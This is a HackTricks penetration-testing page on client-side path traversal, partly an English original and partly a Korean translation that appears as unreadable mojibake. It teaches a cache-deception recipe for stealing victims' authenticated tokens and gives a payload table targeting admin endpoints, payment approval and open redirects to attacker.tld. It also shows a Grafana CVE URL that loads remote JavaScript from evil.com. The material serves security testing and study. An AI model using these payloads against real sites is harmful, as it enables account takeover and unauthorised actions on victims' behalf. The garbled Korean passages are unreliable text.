Client Side Path Traversal
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
A client side path traversal occurs when you can manipulate the path of a URL that is going to be sent to a user to visit in a legit way or that a user is somehow going to be forced to visit for example via JS or CSS. CSPT is also known as On-Site Request Forgery (OSRF) because it lets you coerce the victimโs browser into hitting arbitrary paths on the same origin with their cookies, JWTs, or mTLS certificates.
Typical sources (data you control):
- ๊ฒฝ๋ก ๋งค๊ฐ๋ณ์(route parameters)๊ฐ
fetch()๋๋ XHR ๊ฒฝ๋ก์ ์ฐ๊ฒฐ๋๋ ๊ฒฝ์ฐ (React Router, Next.js dynamic routes, Vue router params, AngularActivatedRoute). - background jobs, service workers, ๋๋ WebSocket URL ๋ด๋ถ ๊ฒฝ๋ก์ ๋ณด๊ฐ(interpolated)๋๋ ์ ์ฅ๋ ๊ฐ(profile slugs, document IDs).
- ์์ฒญ์ด ์ ์ก๋๊ธฐ ์ ์ ์ฌ์ฉ์ ์ ์ด ๊ฐ๋ฅํ ํ๋๊ทธ๋จผํธ๋ ํ์ผ ํ์ฅ์๋ฅผ API ์๋ํฌ์ธํธ์ ๋ง๋ถ์ด๋ UI ์์(download/export buttons, image galleries).
Typical sinks (where the traversal lands):
- ํ๋ก ํธ์๋ API ๋ํผ๊ฐ
/api/๋๋/proxy/๋ฅผ ์์ ๋ถ์ด๊ณ auth headers๋ฅผ ์๋์ผ๋ก ์ฌ์ฌ์ฉํ๋ ๊ฒฝ์ฐ. history.pushState/router.navigateํฌํผ๊ฐ hydration ์ค์ ๋์ค์ URL์ ์ฌ๊ตฌ์ฑํ๋ ๊ฒฝ์ฐ.<link>/<style>/@import๋ฌธ์ด CMS ์ฝํ ์ธ ๋ feature-flag payloads์ ์ํด ์์ฑ๋๋ ๊ฒฝ์ฐ.
์ผ๋ฐ์ ์ธ ์ํฅ ๋ฐ ์ฐ์
- CSPT โ CSRF/OSRF: ์๋ํ ๋ฆฌ์์ค ๊ฒฝ๋ก๋ฅผ ๋ฒ์ด๋ ์ธ์ฆ๋
POST/PUT/DELETEํธ์ถ์ ํ์ทจํ ๋ค ๋ฏผ๊ฐํ ์๋ํฌ์ธํธ(๋น๋ฐ๋ฒํธ ์ฌ์ค์ , ๊ฒฐ์ ์น์ธ, ์ ๊ทผ ๊ถํ ํ์ ๋ฑ)๋ก ์ฌ์ง์ ํ ์ ์์ต๋๋ค. ๊ถํ ์์น์ ์ํด CSRF ์ฒดํฌ๋ฆฌ์คํธ์ ๊ฒฐํฉํ์ธ์. - CSPT โ cache deception / poisoning: ๊ณต์ฉ CDN ํค๋ก ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ JSON์ ์ ๊ณตํ๊ณ ์ธ์ฆ ์์ด ์ฌ์ํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ Cache Poisoning and Cache Deception์ ์ฐธ์กฐํ์ธ์.
- CSPT โ Open Redirect โ XSS/SSRF: ํ์์ด open redirect ์๋ํฌ์ธํธ์ ๋๋ฌํ๋ฉด ๊ณต๊ฒฉ์ ์ธํ๋ผ๋ก ์ฌ์ ์ก๋์ด ์ ์ฑ JS๋ SSRF ํ์ด๋ก๋๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค. Open Redirect ์ ์ฉ๊ณผ ์ฐ๊ฒฐํด ์ฒด์ธ์ ๋ง๋ค ์ ์์ต๋๋ค.
๋ฐ๊ฒฌ ์ฌ๋ก
- ์ด this writeup์์๋ ์ด๋ URL์ ๋ณ๊ฒฝํด ๊ฒฐ๊ตญ ์นด๋๋ฅผ ์ทจ์ํ๋๋ก ๋ง๋ค ์ ์์์ต๋๋ค.
- ์ด this writeup์์๋ client side path traversal via CSS(CSS ๋ฆฌ์์ค๊ฐ ๋ก๋๋๋ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ ์ ์์)๋ฅผ open redirect์ ๊ฒฐํฉํด CSS ๋ฆฌ์์ค๋ฅผ attacker controlled domain์์ ๋ถ๋ฌ์ฌ ์ ์์์ต๋๋ค.
- ์ด this writeup์์๋ CSPT๋ฅผ CSRF ๊ณต๊ฒฉ ์ํ์ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค. ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ชจ๋ ๋ฐ์ดํฐ(URL ๊ฒฝ๋ก, ํ๋ผ๋ฏธํฐ, ํ๋๊ทธ๋จผํธ, DB์ ์ฃผ์ ๋ ๋ฐ์ดํฐ ๋ฑ)์ ํด๋น ๋ฐ์ดํฐ๊ฐ ๋๋ฌํ๋ ์ฑํฌ(์์ฒญ)๋ฅผ ๋ชจ๋ํฐ๋งํ๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ง๋๋ค.
- ๋ชจ๋ํฐ๋ง์ ์ํด this browser extension๋ฅผ ํ์ธํ์ธ์.
- ๊ธฐ์ ์ ์ํํด๋ณด๋ ค๋ฉด CSPT playground๋ฅผ ํ์ธํ์ธ์.
- ํ๋ ์ด๊ทธ๋ผ์ด๋์์ ๋ธ๋ผ์ฐ์ ํ์ฅ ๊ธฐ๋ฅ์ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ this tutorial๋ฅผ ํ์ธํ์ธ์.
CSPT-assisted web cache poisoning/deception
CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:
- A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR.
- By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin.
- If that endpoint (or a path variant with a static-looking suffix like .css) is cached by the CDN without varying on auth headers, the victimโs authenticated response can be stored under a public cache key and retrieved by anyone.
Quick recipe:
- Find SPA code building API URLs from path parameters while sending auth headers.
- Identify sensitive endpoints and test static suffixes (.css, .js, .jpg, .json) to see if the CDN flips to Cache-Control: public/max-age and X-Cache: Hit while returning JSON.
- Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
- Read back the same URL anonymously to obtain the cached secret (token โ ATO).
See details and mitigations in the Cache Deception page: Cache Poisoning and Cache Deception.
ํํ ์ํฌํ๋ก์ฐ ๋ฐ ๋๊ตฌ
Passive discovery with intercepting proxies
- Correlate sources/sinks automatically: the CSPT Burp extension parses your proxy history, clusters parameters that are later reflected inside other requestsโ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the
Source Scopeto client parameters (e.g.,id,slug) and theSink MethodstoGET, POST, DELETEso the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk. - Look for double-URL-decoding: while browsing with Burp or ZAP, watch for
/api/%252e%252e/patterns that get normalized by the frontend before hitting the networkโthese usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.
Instrumenting SPA sinks manually
DevTools์ ์งง์ ์ค๋ํซ์ ๋ฃ์ผ๋ฉด UI์ ์ํธ์์ฉํ๋ ๋์ ์จ๊ฒจ์ง ํ์์ ๋๋ฌ๋ด๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค:
(() => {
const origFetch = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET");
debugger;
}
return origFetch.apply(this, arguments);
};
})();
- Add similar wrappers around
XMLHttpRequest.prototype.open,history.pushState, and framework-specific routers (e.g.,next/router). Watching forinit.credentials === "include"quickly narrows down requests that carry session cookies. - If the app stores routing hints in IndexedDB/localStorage, edit those entries with traversal payloads and reloadโthe mutated state is often reinjected into requests pre-hydration.
์ค์ต ๋ฐ ํ์ด๋ก๋ ๋ฆฌํ์ค
- CSPT Playground๋ฅผ
docker compose up๋ก ๋์ฐ๊ณ ๋์์ ์๋์ง ์๊ณ ๋ traversal โ CSRF โ stored XSS ํ๋ฆ์ ์ฐ๊ฒฐํด ์ฐ์ตํ์ธ์. ๋์์ router ๊ตฌ์กฐ๋ฅผ ๋ก์ปฌ์์ ์ฌํํ๋ฉด ๊ณต์ ๊ฐ๋ฅํ PoC๋ฅผ ๋ง๋ค๊ธฐ ์ฌ์์ง๋๋ค. - ๋ฆฌ์ปจ ์ค์ ๊ด์ฐฐํ ์ฑ๊ณต์ ์ธ dot-segment ๋ณํ๋ค(
..;/,%2e%2e/,%2e./%2e/, UTF-8 homoglyphs)๊ณผ ์ ๋ฏธ์ฌ ํธ๋ฆญ๋ค(.css,.json,;matrix params)์ ์คํฌ๋์นํจ๋๋ฅผ ์ ์งํด ์๋ก์ด sink๊ฐ ๋ํ๋ฌ์ ๋ ๋น ๋ฅด๊ฒ ์ฌ์ํ ์ ์๊ฒ ํ์ธ์.
์ต๊ทผ ์ฌ๋ก ์ฐ๊ตฌ (2025)
- Grafana OSS CVE-2025-4123/6023 (v11.5.0+) โ
/public/plugins/๋ด๋ถ์ traversal gadget์ด ๊ณต๊ฒฉ์๋ก ํ์ฌ๊ธ../../๋ฅผ plugin asset loader๋ก ๋ฐ์ด๋ฃ๊ฒ ํ์ฉํ๊ณ , ์ด๋ฅผ Grafana์ open redirect์ ์ฐ๊ฒฐํด ํผํด์๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ plugin ๋ฒ๋ค์ ๋ก๋ํ๋๋ก ๊ฐ์ ํ์ต๋๋ค. anonymous dashboards๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ,https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js๊ฐ์ ์กฐ์๋ URL๋ก ์ธํด ๋ธ๋ผ์ฐ์ ๊ฐ ์๊ฒฉ JavaScript๋ฅผ ์คํํ๊ณ ; Image Renderer plugin์ด ์ค์น๋์ด ์์ผ๋ฉด ๋์ผํ ๊ธฐ๋ฒ์ ๋ ๋๋ง ์์ฒญ์ ๋ด๋ถ ํธ์คํธ๋ก ๋ฆฌ๋ค์ด๋ ํธํด SSRF๋ก ์ ํํ ์๋ ์์์ต๋๋ค. ๋จ์ผ traversal์ด ์ข ์ข XSS์ SSRF ์์ชฝ ๋ฒกํฐ๋ฅผ ๋ชจ๋ ์ ๊ณตํ๋ฏ๋ก plugin asset ๊ฒฝ๋ก, anonymous dashboards, renderer endpoints๋ฅผ ํจ๊ป ํ ์คํธํ์ธ์.
Payload cookbook
| ๋ชฉํ | ํ์ด๋ก๋ ํจํด | ๋น๊ณ |
|---|---|---|
| Hit sibling API under same origin | ?doc=../../v1/admin/users | Works when routers simply concatenate /${doc}. Add .json if CDN only caches static-looking assets. |
| Force SPA to follow open redirect | ?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x | ๋์ ์ฝ๋๋ฒ ์ด์ค์ ๋์ด๋ ์ ๋ขฐ๋๋ redirectors์ ๊ฒฐํฉํ์ธ์. Chain with Open Redirect. |
| Abuse extension-based CDN cache | ?file=../../v1/token.css | CDN may treat .css as static and cache secrets returned as JSON. |
| CSRF via verb change | ?action=../../payments/approve/.json&_method=POST | Some routers accept _method overrides; pair with traversal to re-target destructive endpoints. |
References
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- PortSwigger: Web Cache Deception
- Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis
- Doyensec CSPT Burp Extension
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


